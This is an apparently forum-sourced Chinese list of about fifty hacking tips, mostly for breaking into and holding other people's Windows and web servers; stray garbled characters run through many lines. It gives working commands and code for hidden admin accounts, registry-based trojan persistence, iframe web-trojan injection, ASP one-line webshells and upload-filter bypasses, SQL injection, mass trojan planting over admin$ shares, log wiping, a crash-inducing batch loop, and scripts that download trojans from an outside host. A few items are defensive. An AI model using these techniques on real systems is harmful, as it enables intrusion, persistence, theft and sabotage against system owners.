1、Xp系统修改权限防止病毒或木马等破坏系统,cmd下,3 r( o+ m' C, S
cacls C:\windows\system32 /G hqw20:R9 g& `( Q' ~- j
思是给hqw20这个用户只能读取SYSTEM32目录,但不能进行修改或写入
* M# s" ?* a9 G8 W. m' t2 D恢复方法:C:\>cacls C:\windows\system32 /G hqw20:F
0 p6 y% g8 h$ `9 ~, s" b
" ^" ~9 h( W; ^ T1 A3 ]0 E/ V2、用Microsoft自带的IExpress工具作的捆绑木马可以躲过很多杀毒软件,运行对话框中输入Iexpress。
# K$ J: C3 c9 _/ M, c+ x9 S7 O& Z& T
3、内网使用灰鸽子,肉鸡上vidcs.exe -p端口,本地VIDCS里,VIDCS服务IP 填肉鸡的IP,VIDCS服务端口,就是给肉鸡开的端口,BINDIP添自己的内网IP,BIND端口 添8000,映射端口添8000。
, i. v& c: {$ p0 H! \9 k2 _* `
/ E$ ^) j" d2 B/ y3 p4、建立隐藏帐号,上次总结了用guest建立隐藏的管理员,这次再介绍一种,在cmd下建立一个ating$的用户,然后注册表下复制管理员的1F4里的F 值到ating$的F值,再把ating$改为$,这样在计算机管理的用户里看不到这个隐藏帐号5 ~' x8 p+ |2 q, K& _
. {6 Q" t4 i' o# V; |. `/ ^& `
5、利用INF文件来修改注册表( j# r( I2 j# ^
[Version] o7 A; q# e3 g
Signature="$CHICAGO$"
% G- _2 _$ f4 A) F. j/ v' {[Defaultinstall]0 x, j3 U& S6 R- x1 N6 s$ ~) H
addREG=Ating
! ~0 _, _$ Q1 d! W/ L5 O[Ating]
' J# e6 w: |+ GHKCU,"Software\Microsoft\Windows\CurrentVersion\Policies\system","disableregistrytools","0x00010001","1"
' u( X0 v6 y* E" {( {/ {以上代码保存为inf格式,注意没有换行符,在命令行里导入inf的命令如下:
3 p2 B7 \5 w( f# Yrundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 inf文件的具体路径
' x$ W R9 u3 c( E7 ~其中HKEY_CLASSES_ROOT 简写为 HKCR,HKEY_CURRENT_USER 简写为 HKCU) p! M& X0 _4 e) x% Q
HKEY_LOCAL_MACHINE 简写为 HKLM,HKEY_USERS 简写为 HKU2 _) e6 ?- j8 C1 T* n% Y
HKEY_CURRENT_CONFIG 简写为 HKCC
! c, t r: U% v3 L2 E0x00000000 代表的是 字符串值,0x00010001 代表的是 DWORD值' e5 a3 m8 L$ _/ F' k5 T' A
"1"这里代表是写入或删除注册表键值中的具体数据
' y5 @- D; [; Q r4 y3 l* {
2 ~6 Y5 v6 Z5 e+ w2 E& N- O8 M6、关于制作穿xp2防火墙的radmin,大家一定要会,各大黑客网站都有动画,, ]: E% l! |& S+ m7 n- b" F
多了一步就是在防火墙里添加个端口,然后导出其键值
! i; {7 R& r9 m[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List]
2 [' I0 ]/ d9 P- V' A D. Z
2 b- o2 |5 Y, P7、系统启动时Alerter服务启动前启动木马程序ating.exe,此方法很隐蔽% T- d# {8 N8 r# X* n9 m
在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CurrentVersion\Image File Execution Options]下建立service.exe项,再在service.exe项建立一个Debugger的键(字符串值),键值填ating.exe的全路径。
! o) N$ l( ]; x8 o' l5 K* F$ P
* E* g7 {! Z0 r8、将ftp.exe传到服务器用来提权,可以先把它变成ating.gif格式的再用,迷惑管理员。
" r2 M8 I# a4 j: Q* i# L6 q" L5 a# E y# ^+ ~% c Y8 W
9、有时候在我们进入了网站后台,但是没有上传图片和备份等功能,得不到webshell, X3 B6 \$ \, ?) ?
可是不能白来一场,可以看看发表公告或新闻支不支持html和script,支持的话加个frame马或者其他的什么。
3 @/ V0 z, ~0 m; Z% x g* ]$ ^/ ?# |0 `: L/ ?1 ^# @
10、用google帮我们找网站后台,搜索”filetype:asp site:www.hack6.com inurl:login”8 `" @1 N* v0 C9 m: b; q4 y
( [3 ?$ P5 S' y7 `2 Y11、我们中了盗密码的木马后不要急于删除,一般这些木马都是把密码发到指定邮箱,我们可以用探嗅软件来找到邮箱的用户名和密码,比如安全焦点的xsniff,! C8 S0 j: t8 s* m- ~7 `3 k
用法:xsniff –pass –hide –log pass.txt
, C$ S( W4 h# w W2 l% w0 a& i8 `5 @4 a& l
12、google搜索的艺术
+ \; @8 p1 G1 W+ p搜索关键字:“未闭合的引号”或“ADODB.Field.error”或“Either BOF or EOF in True”4 S9 j4 e+ I |) z) H9 \; ]+ d# I
或“字符串的语法错误”可以找到很多sql注入漏洞。2 J8 S1 W. ?3 F6 {" ^7 x
% P/ Q4 J9 O- g) w* h
13、还可以搜一些木马的关键字,比如搜索“管理登陆 海洋顶端 inurl:asp”,搜到了说明此网站服务器的其中网站肯定有漏洞。
" R. h2 `& D9 v, D; I4 ^; {/ N. l% B: `: z! S1 @* J2 f
14、cmd中输入 nc –vv –l –p 1987" _5 N7 ]; q5 E- S/ ~0 J
做个bat文件内容为sqlhello 起始ip 1433 终止ip 1987 扫鸡吃6 D0 ]2 U4 [" @3 p$ e
1 {3 q+ `* D$ z$ k: B# F' S- d2 N# }15、制作T++木马,先写个ating.hta文件,内容为
+ W: p4 J0 B: z+ K A<script language="VBScript">
: u' f6 G, Z3 Q* d2 S0 O$ g* nset wshshell=createobject ("wscript.shell" )
9 `0 ~2 A/ n/ J- P- l3 ha=wshshell.run("你马的名称",1)
# _. A/ B( o' x4 p' N, M1 q1 bwindow.close# S( \4 I# d. _( b
</script>
8 o) j L8 S0 d: Z再用mshta生成T++木马,命令为mshta ating.hta ating.t++,用网页木马生成器生成网页木马。
$ z+ O3 d( b. [, P4 ^9 l
1 n$ ]7 I4 E* z16、搜索栏里输入* p* E+ u3 P+ t) Z u T: v/ `
关键字%'and 1=1 and '%'=' R3 B; X8 f( l; @% I
关键字%'and 1=2 and '%'='
" |! c, ~& b! N% k& |8 @2 ~" l4 K比较不同处 可以作为注入的特征字符
; B! u% r: H5 u9 P5 U5 {1 l5 g- X6 Q8 z( b8 X
17、挂马代码<html>% v/ j& v$ n3 q6 j
<iframe src="马的地址" width="0" height="0" frameborder="0"></iframe>: @6 P$ Z2 ~% A) Z+ n( y' S N
</html>" i s- J8 u; s
3 u0 ]8 G1 \- B
18、开启regedt32的SAM的管理员权限检查HKEY_LOCAL_MACHINE\SAM\SAM\和HKEY_LOCAL_MACHINE\SAM\SAM\下的管理员和guest的F键值,如果一样就是用被入侵过了,然后删了guest帐号,对方可以用guest帐号使用administraeors的权限,你也可以用这方法留住肉鸡, 这方法是简单克隆,$ G5 `( F- P8 W6 b$ D
net localgroup administrators还是可以看出Guest是管理员来。
8 a f( \; Q# {/ F) m! }) B
, Y9 G- F- G* @4 `- S- u" R: R% _19、软件instsrv.exe 把.exe文件做成系统服务来启动 用来肉鸡挂QQ等
/ Y8 O3 X* b' }5 [' K6 C# a+ [2 R用法: 安装: instsrv.exe 服务名称 路径
+ D+ G& r: |. E9 s1 v卸载: instsrv.exe 服务名称 REMOVE
! X5 X, @9 B$ H' K% |, ]' g& u1 S7 D: L2 W3 p9 O3 N
4 \2 O6 h0 ?9 Z- _) q' \21、SQL注入时工具---Internet选项---高级里找到显示友好的错误信息勾去掉. e6 }9 v7 ~) E
不能注入时要第一时间想到%5c暴库。
6 k. p# z! @( i" I4 Y+ H/ L, }" J1 ~3 h
22、很多网站程序(比如华硕中文官方网站)上传图片时有可能在检测文件的时候是 从左朝又进行检测,也就是说,他会检测文件是不是有.jpg,那么我们要是把文件改成:ating.jpg.asp试试。。由于还是ASP结尾,所以木马不会变~+ e5 [1 r, ^( W, q
" _) F( b$ U6 X; @23、缺少xp_cmdshell时5 }0 z7 G* q$ ?/ t* P! K% A, @
尝试恢复EXEC sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'3 v4 V }; b+ O
假如恢复不成功,可以尝试直接加用户(针对开3389的)/ R3 C$ i" M6 b3 ^, e: v; y( P7 `
declare @o int* I' T( W3 y. S
exec sp_oacreate 'wscript.shell',@o out) E) W( O" u% B6 h
exec sp_oamethod @o,'run',NULL,'cmd.exe /c net user ating ating /add' 再提到管理员# o3 M$ S0 l$ ?* Y7 b. {. y
$ X! A- u4 e+ U& x24.批量种植木马.bat
. I2 B; G4 q% p" a! mfor /f %%i in (扫描地址.txt) do copy pc.exe %%i\admin$ 复制木马到扫描的计算机当中6 t- z6 L% {6 k; r0 T0 N l( F
for /f %%i in (扫描地址.txt) do at %%i 09:50 pc.exe 在对方计算机上运行木马的时间% ^1 j4 s1 p* `* l/ z
扫描地址.txt里每个主机名一行 用\\开头' p6 M4 G( z6 T Y' M
+ b) l) W5 x6 ?+ ?9 B9 e25、在程序上传shell过程中,程序不允许包含<% %>标记符号的内容的文件上传,比如蓝屏最小 的asp木马<%execute request("l")%>,我们来把他的标签换一下: <script language=VBScript runat=server>execute request("l")</Script> 保存为.asp,程序照样执行。& P) V& l1 T, r! F% g
5 n' d4 L0 o( ^6 e5 Q% _+ G
26、IIS6 For Windows 2003 Enterprise Edition 如IIS发布目录文件夹包含.asp后辍名.
& c2 R p) k& D( ?6 r将.asp后辍改为.jpg或其它的如.htm,也可以运行asp,但要在.asp文件夹下.
2 n3 [( M0 R. S/ S0 C; [.cer 等后缀的文件夹下都可以运行任何后缀的asp木马
6 R* ]% _' ]4 ]* x4 R( ]
6 H+ _7 J1 q0 ?* k# ]' O27、telnet一台交换机 然后在telnet控制主机 控制主机留下的是交换机的IP& M; b3 ]1 P4 M
然后用#clear logg和#clear line vty *删除日志+ B3 o+ |. z4 J
) c/ G1 n- _5 r }
28、电脑坏了省去重新安装系统的方法0 M0 ?/ S) O. o H5 m% i8 P
纯dos下执行,
( Z1 ] T" U4 y+ V# w8 ixp:copy C:\WINDOWS\repair\*.* 到 c:\windows\system32\config9 k J# t, ~% i+ n$ T
2k: copy C:\winnt\repair\*.* 到 c:\winnt\system32\config0 R/ v6 G* S$ {0 f9 v7 ]
' W4 M- T4 B) e, E0 g4 Z! J8 `
29、解决TCP/IP筛选 在注册表里有三处,分别是:
, f' Q7 r6 E$ I* B. kHKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
" u- b- P1 E9 C! Q$ FHKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
1 r6 r% X7 b* @; uHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
5 ?3 _3 V" b3 b: t9 S. M分别用! z4 x5 B2 O' B$ z7 F
regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
, M. c4 I' m4 O: Gregedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip; T6 T. X0 j; K3 _7 F5 x9 ?/ p
regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip7 s9 w' x) V( {; K* I4 u
命令来导出注册表项
+ c; q+ w. o9 J9 p& u! K然后把三个文件里的EnableSecurityFilters"=dword:00000001,* }1 W% E1 A$ x" N5 S& d8 M( `& G
改成EnableSecurityFilters"=dword:00000000 再将以上三个文件分别用# k' Y5 V. l# Q" _3 L% f1 F d
regedit -s D:\a.reg regedit -s D:\b.reg regedit -s D:\c.reg 导入注册表即可。
% n! o/ |* {5 K9 _ ?% o
3 |( ]! S: ?) f& c R0 T4 C3 W2 L30、使CHM木马无法在本地运行木马程序 将注册表"HKEY_CURRENT_U
4 N4 T# }. C* m* a0 s& L6 SSER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0"下的1004项的值由原来十进制的0改为十六进制的3
. i6 W+ c. a/ U
0 x, E8 h. E8 H) }$ @3 q. g31、全手工打造开3389工具# z1 i3 q8 B& F7 {$ e2 Q" K: d: ]
打开记事本,编辑内容如下:
' x0 a6 M( `1 e7 xecho [Components] > c:\sql2 g+ g/ Y6 }! i R7 o
echo TSEnable = on >> c:\sql4 d5 N8 i. A' R, ]5 b. X7 E5 g
sysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\sql /q
6 C1 R% ?$ b9 O% q m: u$ Z编辑好后存为BAT文件,上传至肉鸡,执行$ t; E: m) Y0 i6 S) I
- l q! R) {, Z: e. D32、挂马js代码document.write('<iframe height=0 width=0 src="木马地址.htm"></iframe>');保存到js页面里 可让所有页面挂马/ ^& r3 S6 |/ j2 l. c! }$ {
9 j5 j" B/ m& K* k3 ^- z3 C: V
33、让服务器重启
, O9 x& ~: B0 x. n+ M写个bat死循环:
3 f, d0 B& v) d! P7 x* P. X% a@echo off. N# z+ `# G; Y4 R4 @5 y
:loop1
" O! z6 S2 h) ?1 ]" h4 fcls" @6 A! F8 \: x( A* X0 W
start cmd.exe
5 H! m8 }, i2 S y$ f) N: Wgoto loop1) f$ F' l. V' B# m1 I- b
保存成bat guset权限就可以运行 运行后很快服务器就会死机 管理员自然会去重启6 K/ W7 m8 p3 L2 L {* |
; Y0 Q2 z' Y3 {34、如果你登录肉鸡的3389时发现有cmd一闪而过,那你可要小心了,管理员写了个bat在监视你,9 M( N: g) q6 g$ W
@echo off
9 W# {: a6 a: b! V+ F' Qdate /t >c:/3389.txt: G- V. A8 q/ i
time /t >>c:/3389.txt
2 L( v' H/ b$ w0 b5 S' I6 _attrib +s +h c:/3389.bat
) L% ]6 i. V+ G- l; d) lattrib +s +h c:/3389.txt4 t8 f! v/ R3 ~0 ~ t3 y
netstat -an |find "ESTABLISHED" |find ":3389" >>c:/3389.txt
0 `" J; C) {( W/ p6 C! w/ V并保存为3389.bat
& b0 ]4 `+ m5 L$ ^( }打开注册表找到:Userinit这个键值 在末尾加入3389.bat所在的位置,比如我放到C盘,就写:,c:/3389.bat,注意一定要加个逗号
. `% B2 R4 h* f0 O" m# s4 x \5 B h, n c) Y! v
35、有时候提不了权限的话,试试这个命令,在命令行里输入:0 F: P& `& P# f8 G
start http://www.hack520.org/muma.htm然后点执行。(muma.htm是你上传好的漏洞网页)6 }: s0 Y: X; V7 b+ _3 A
输入:netstat -an | find "28876" 看看是否成功绑定,如果有就telnet上去,就有了system权限,当然也可以nc连接,本地执行命令。 y n; }4 I }8 v
8 c# o/ {/ S! q36、在cmd下用ftp上传马方法,我们可以用echo 写一个批处理文件
7 Q G2 @5 y0 h3 b4 O( s3 ]echo open 你的FTP空间地址 >c:\1.bat //输入你的FTP地址+ }' J) |8 ~' Q) v2 X. F( ]4 g7 S
echo 你的FTP账号 >>c:\1.bat //输入账号7 {8 ]1 ~& H# |# u8 W
echo 你的FTP密码 >>c:\1.bat //输入密码2 R1 ]8 d4 ~7 n1 @& `
echo bin >>c:\1.bat //登入- h: M. p1 P% g$ K$ {( o' d1 k K3 J
echo get 你的木马名 c:\ ating.exe >>c:\1.bat //下载某文件到某地方并改名为什么4 n5 p; y6 v! Y9 ^6 }( \# x* n
echo bye >>c:\1.bat //退出
, I% k! T2 M5 m0 E1 W然后执行ftp -s:c:\1.bat即可
7 [6 W( F2 Q2 T! l
$ F! ~! I! Y& V7 }* R37、修改注册表开3389两法1 n3 V7 O$ l* p6 X& l# v' _
(1)win2000下开终端 首先用ECHO写一个3389.reg文件,然后导入到注册表+ f% S8 m3 E8 m, i9 Z# _9 k
echo Windows Registry Editor Version 5.00 >>3389.reg
5 H1 c9 l) m2 v7 D8 Necho [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] >>3389.reg
% I3 I7 c: V9 x6 w g4 lecho "Enabled"="0" >>3389.reg- }# _% c, Y, z, W7 E. C
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows: Z# H7 z) m5 j
NT\CurrentVersion\Winlogon] >>3389.reg9 I' ~4 Y6 q* t
echo "ShutdownWithoutLogon"="0" >>3389.reg6 i8 @9 M$ }, U- y
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]
& V: Q* R6 R9 ?2 C, f i6 W>>3389.reg
* {! p9 n9 z9 P9 Q# \1 Iecho "EnableAdminTSRemote"=dword:00000001 >>3389.reg7 W9 r$ f/ @ C$ z
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]$ N2 \( k7 u/ {) D
>>3389.reg
$ Y! j1 V' Q: L, C/ Iecho "TSEnabled"=dword:00000001 >>3389.reg z% j. G/ f% J/ a( a$ B
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>3389.reg5 O9 t; K6 R" Z% N0 q
echo "Start"=dword:00000002 >>3389.reg, ~+ p& u/ @% q. x8 |: J8 Y
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService]
" w# h& `2 w+ E0 L>>3389.reg
& b4 V! e: e8 D# X. kecho "Start"=dword:00000002 >>3389.reg- W4 }5 \7 L+ u
echo [HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle] >>3389.reg
0 G# n1 h X- P% K, l; T; Aecho "Hotkey"="1" >>3389.reg
) ?( C- U/ a; k. I8 |echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal
/ @, K7 x9 G n( {. A8 ~Server\Wds\rdpwd\Tds\tcp] >>3389.reg, X! f- |; M4 C3 ?! \0 F
echo "PortNumber"=dword:00000D3D >>3389.reg
* b1 {) v7 B) x2 S- h2 secho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal- ^0 _: _+ p6 h0 L& G/ ~
Server\WinStations\RDP-Tcp] >>3389.reg
4 S8 \5 E) r2 Z8 }9 O, W1 hecho "PortNumber"=dword:00000D3D >>3389.reg
" L9 b7 t' y' P% x" l* W/ }+ a! d把这些ECHO代码到CMDSHELL下贴粘就可以生成3389.reg文件,接着regedit /s 3389.reg导入注册表。
) \6 @( M+ s. ^ }& T" {4 D(如果要改变终端端口只须把上面的两个D3D都改一下就可以了): K! p8 Z! W H1 M
因为win 2k下开终端不能像XP一样可以立即生效,而是需重启机器后才生效 P, D0 N9 k; P7 e/ t5 F
(2)winxp和win2003终端开启
$ m# j" E" L# I* Y用以下ECHO代码写一个REG文件:* f# o8 w5 G6 _' c6 t& C* w' {
echo Windows Registry Editor Version 5.00>>3389.reg0 G( n; A8 @$ J1 _. F
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal) @8 }% ]4 W2 r3 x. M, e! H* b0 C
Server]>>3389.reg
! H9 d. h0 m# Necho "fDenyTSConnections"=dword:00000000>>3389.reg$ `; a0 X; o1 R" n2 u, I5 v" E0 F
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal5 w8 [. e0 b7 H; l/ R
Server\Wds\rdpwd\Tds\tcp]>>3389.reg
9 `+ U7 L: Z: P6 X' V) t1 Decho "PortNumber"=dword:00000d3d>>3389.reg6 E& b3 ^+ Z" ]! D/ f0 Q
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal- ?9 M4 v5 K- a, K% j |2 L2 k
Server\WinStations\RDP-Tcp]>>3389.reg, v& L `1 x% r0 _$ C9 g# R
echo "PortNumber"=dword:00000d3d>>3389.reg
' ]% w9 e, O6 u然后regedit /s 3389.reg del 3389.reg
, ?& |1 I6 g. F: }9 @9 s3 n) P1 NXP下不论开终端还是改终端端口都不需重启
/ X) x5 A# X* G5 i5 H" k* p9 J4 ? Y: A# D
38、找到SA密码为空的肉鸡一定要第一时间改SA密码,防止别人和我们抢肉吃3 N a1 `! t) M8 ^1 K, M) G
用查询分析器运行 EXEC sp_password NULL, '你要改的密码', 'sa'
7 ]" ]% }! r5 d. _2 x6 G! T2 J$ G1 |! d# s8 p" b/ B ?
39、加强数据库安全 先要声明把mdb改成asp是不能防止下载的!+ b9 l0 \! j; u( Q+ [6 M. ]
(1)数据库文件名应复杂并要有特殊字符
( Q5 K% u8 A9 A w6 e. S0 C(2)不要把数据库名称写在conn.asp里,要用ODBC数据源
) u9 Q0 h. k8 V @2 Y, G' G8 _将conn.asp文档中的
7 j& ^5 Z0 [# I5 c+ a9 NDBPath = Server.MapPath("数据库.mdb")
; \1 `- @3 ?# J) k: n& z b, O0 oconn.Open "driver={Microsoft Access Driver (*.mdb)};dbq=" & DBPath
: u- x5 K: u7 U" B R; p2 M( i) ^) j: @% r% F/ E
修改为:conn.open "ODBC数据源名称," 然后指定数据库文件的位置* j4 p& o+ e: p& i8 w7 Z3 M
(3)不放在WEB目录里
" g. A0 F* B, m0 S g$ i" T6 u5 h4 c* X' p. c
40、登陆终端后有两个东东很危险,query.exe和tsadmin.exe要Kill掉
+ a) ?+ k2 Q3 O可以写两个bat文件. L" [3 N% e6 V
@echo off
7 Q* \* j) ^* l/ s% N@copy c:\winnt\system32\query.exe c:\winnt\system32\com\1\que.exe" R' ?/ T! R/ \! ?! ^. O7 A" S4 g
@del c:\winnt\system32\query.exe7 s# {3 V9 J7 ?
@del %SYSTEMROOT%\system32\dllcache\query.exe
+ o" {% V5 e- ?@copy c:\winnt\system32\com\1\query.exe c:\winnt\system32\query.exe //复制一个假的% [! j& m0 b( k4 y1 y* R& M" ~! e
) i" i9 y' x X- f@echo off1 e! N$ g% H; E' l% d0 w. `; \! |
@copy c:\winnt\system32\tsadmin.exe c:\winnt\system32\com\1\tsadmin.exe
3 }& P% j" d7 a6 n. E@del c:\winnt\system32\tsadmin.exe
( C+ H8 W; u' w# j@del %SYSTEMROOT%\system32\dllcache\tsadmin.ex. |, e2 I: N$ q/ P# o3 ?
, L7 r. Q; E# f. x$ P7 N! n7 x41、映射对方盘符
1 x) [# x9 W1 S4 Z( v: ~telnet到他的机器上,( K* s- V( H; N: Y. C
net share 查看有没有默认共享 如果没有,那么就接着运行" [, G1 T, |; e+ f
net share c$=c:8 O8 m& K) K& Q; f0 }5 y" u9 w7 ?& s
net share现在有c$
( j% L4 U- ^3 ~' L+ V4 p, Q在自己的机器上运行
0 {( |# f1 l+ n0 ], @net use k: \\*.*.*.*\c$ 把目标共享映射到本地硬盘,盘符为K
3 B$ c. U' D& ~" N
4 l7 c( i& M4 D, S) B9 u7 M |42、一些很有用的老知识
/ \1 F% b; A2 |- q5 y% gtype c:\boot.ini ( 查看系统版本 )
" \3 O2 h- e* hnet start (查看已经启动的服务)
! a: O- m2 @' k" Pquery user ( 查看当前终端连接 )$ u5 Q: [$ Q7 H$ F- K: p- y t
net user ( 查看当前用户 )
- x( [9 i9 _' B2 s1 c: [8 Y2 mnet user 用户 密码/add ( 建立账号 )* O+ F. M, y8 u+ x2 k, O4 F9 F
net localgroup administrators 用户 /add (提升某用户为管理员)
. O# L4 g& `- Bipconfig -all ( 查看IP什么的 )
6 O6 V7 Q6 E8 H( i: U1 Wnetstat -an ( 查看当前网络状态 ), R4 {7 S$ n, q2 c) g8 d6 r
findpass 计算机名 管理员名 winlogon的pid (拿到管理员密码)/ H4 Z1 J1 l; b4 K* j
克隆时Administrator对应1F4
& d! M6 @) J$ ^: r6 B/ lguest对应1F54 t2 I; p9 o: R. h$ w0 l( T
tsinternetuser对应3E8
1 @! o! J, G. ?2 H& c3 {* |0 }0 O4 a5 l+ m$ {/ X6 Z
43、如果对方没开3389,但是装了Remote Administrator Service% G) Y2 t$ X7 w& ~% ~
用这个命令F:\ftp.exe "regedit -s F:\longyi.biz\RAdmin.reg" 连接
8 M- E# j3 z& j2 u: d! a! z解释:用serv-u漏洞导入自己配制好的radmin的注册表信息
" }* P \* r& P. d先备份对方的F:\ftp.exe "regedit -e F:\1.reg HKEY_LOCAL_MACHINE\SYSTEM\RAdmin"
$ W1 M* a, O: s5 f
/ q- v2 g5 k! D. a) W& t( B* Y44、用lcx做内网端口映射,先在肉鸡上监听 lcx -listen 52 8089 (端口自定)) D( w$ w( a0 o
本地上运行映射,lcx -slave 鸡的ip 52 我内网的ip 80 (我的WEB是80端口), G; n$ |0 Z- \4 y7 `
( v1 _4 A7 b0 Z45、在服务器写入vbs脚本下载指定文件(比如用nbsi利用注入漏洞写入)' ^/ b0 _: t8 c ?4 }3 r
echo Set x= CreateObject(^"Microsoft.XMLHTTP^"):x.Open
( D# B5 d1 b& [^"GET^",LCase(WScript.Arguments(0)),0:x.Send():Set s =( U4 Z* y/ j+ G4 }: p
CreateObject(^"ADODB.Stream^"):s.Mode = 3:s.Type =
. s$ E3 E1 C& p6 b( N3 P1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >ating.vbs
$ Y* p, d: U) O' g. l' T(这是完整的一句话,其中没有换行符)
1 g8 ?# }9 h- M. W) Y3 I* u9 g$ t) L( E然后下载: X& y6 d. U2 R: \' i# ^
cscript down.vbs http://www.hack520.org/hack.exe hack.exe q: T2 z; G/ {: y* I7 L
6 Q0 S- c8 D2 S4 r0 d& c46、一句话木马成功依赖于两个条件:
: _4 {/ O) S6 P! k1、服务端没有禁止adodb.Stream或FSO组件
- S0 v0 B4 b5 l! C3 B2、权限问题:如果当前的虚拟目录禁止user级或everyone写入的话也是不会成功的。
" v# I/ }$ [0 \. C, [0 ^4 v- f. }$ M, ?( O4 Y
47、利用DB_OWNER权限进行手工备份一句话木马的代码:
( r# D U6 J2 z0 U0 {4 _, d;alter database utsz set RECOVERY FULL--
* Z3 U# `/ Z6 A- E;create table cmd (a image)--% n6 h* I' e2 ` Q& W$ R
;backup log utsz to disk = 'D:\cmd' with init--% E; O T0 k+ L2 m
;insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)--& _& C3 j i4 Q8 P
;backup log utsz to disk = 'D:\utsz_web\utsz\hacker.asp'--
8 R: ?- H& h4 m4 m: j B注:0x3C25657865637574652872657175657374282261222929253EDA为一句话木马的16进制形式。- C" p# E* m" x
. p* R/ R1 U) V. R0 ?/ R48、tlntadmn是telnet服务的设置命令,可以对telnet服务的端口、认证方式等进行设置:1 T u- @& D/ I$ y9 h& ~* E H; q
! f5 d; s5 p6 S4 Z. ^用法: tlntadmn [computer name] [common_options] start | stop | pause | continue | -s | -k | -m | config config_options
+ P7 L" h! M4 G4 g* Z1 b; _所有会话用 'all'。& [% C) A+ N3 B+ \6 X! ?3 [# Z
-s sessionid 列出会话的信息。, z" O" s& m: _, U% `1 H
-k sessionid 终止会话。
& d* o1 C# s! x1 c6 i-m sessionid 发送消息到会话。
& u# ]- g; c& E- t6 b1 A7 C! J c1 }4 g" i
config 配置 telnet 服务器参数。4 _+ a' Q- v6 q* Q4 w
3 G1 f: G% u0 H+ jcommon_options 为:
- i# {+ b/ q" C- E( W2 \5 m-u user 指定要使用其凭据的用户1 ?' V% d* N: R8 d; J6 r
-p password 用户密码
0 K! T1 R' @* a0 ^7 {
0 ~4 H; G/ B/ `config_options 为:) G$ x# ` D0 u3 R
dom = domain 设定用户的默认域
; q9 N) {: V7 {1 @ctrlakeymap = yes|no 设定 ALT 键的映射
# e* W5 W+ Y3 K0 H" L/ ttimeout = hh:mm:ss 设定空闲会话超时值
2 t9 m/ E8 c4 }/ V: D1 l# _3 l# Mtimeoutactive = yes|no 启用空闲会话。, y) G3 V6 `' {8 M
maxfail = attempts 设定断开前失败的登录企图数。
% [4 W" ]" C3 ^# @maxconn = connections 设定最大连接数。- i9 `, f' A1 R2 k ]; @
port = number 设定 telnet 端口。6 d* ?( h6 S+ [5 V1 `# h
sec = [+/-]NTLM [+/-]passwd
. j }5 d* U# x- P- B设定身份验证机构
$ E1 U& v# z2 z2 ]- X' z& R- Cfname = file 指定审计文件名。; F8 G. P0 n' H4 Z" D* @! S* a
fsize = size 指定审计文件的最大尺寸(MB)。0 q: c4 a$ h- n; Z, L8 p
mode = console|stream 指定操作模式。4 A2 J! ]9 |. ?, v9 `( D
auditlocation = eventlog|file|both
0 x3 s( D% M( L4 a5 `: R" h指定记录地点: k0 r& N2 T3 W5 q7 N( x
audit = [+/-]user [+/-]fail [+/-]admin" d, y3 \$ {* u- d' L
* v y& A6 w5 N- L- U
49、例如:在IE上访问:% e/ L: H$ [2 W: n; D Z" f: k
www.hack520.org/hack.txt就会跳转到http://www.hack520.org/
' Y, T. d: ]% _hack.txt里面的代码是:* ^7 c8 q. L* D Y+ C4 k
<body> <META HTTP-EQUIV="Refresh" CONTENT="5;URL=http://www.hack520.org/">
+ w0 v2 N5 p* B# w h V) y把这个hack.txt发到你空间就可以了!
: t6 B6 w6 s0 d1 ]& ^9 ~3 p这个可以利用来做网马哦! u/ ^% Q4 `6 P1 p$ g" L6 }4 L" a
1 g3 K+ t3 |! C) W/ l$ v) e9 B
50、autorun的病毒可以通过手动限制!* \9 L# |, p- s
1,养成好习惯,插入U盘或移动硬盘,都要按住shift让其禁止自动运行!
+ T8 t8 o4 K9 n2,打开盘符用右键打开!切忌双击盘符~
7 ]+ T9 T" y) B" g2 u+ z3,可以利用rar软件查看根目录下autorun病毒并删除之!他可以处理一些连右键都无法打开的分区!
6 O p& a; t* r3 ?/ ^% K7 a' E2 q. ]/ Z# J
51、log备份时的一句话木马:
9 K* M# m- }% g- O9 va).<%%25Execute(request("go"))%%25>/ Y" \5 l0 f9 ]$ S4 [8 y
b).<%Execute(request("go"))%>
! D0 M% C6 z. j, R ac).%><%execute request("go")%><%. {( D% w2 o7 b6 t: x% k- F; F# _
d).<script language=VBScript runat=server>execute request("sb")</Script>6 b, `6 F8 I# L$ n9 G$ @
e).<%25Execute(request("l"))%25>
- e/ ]/ ~% t( I- B3 P# Uf).<%if request("cmd")<>"" then execute request("pass")%>* y6 ?; j) @7 G
. I( T$ U3 D2 r% m9 t! i/ Q9 O! `7 H52、at "12:17" /interactive cmd
% \7 b x& p" x3 y' P执行后可以用AT命令查看新加的任务
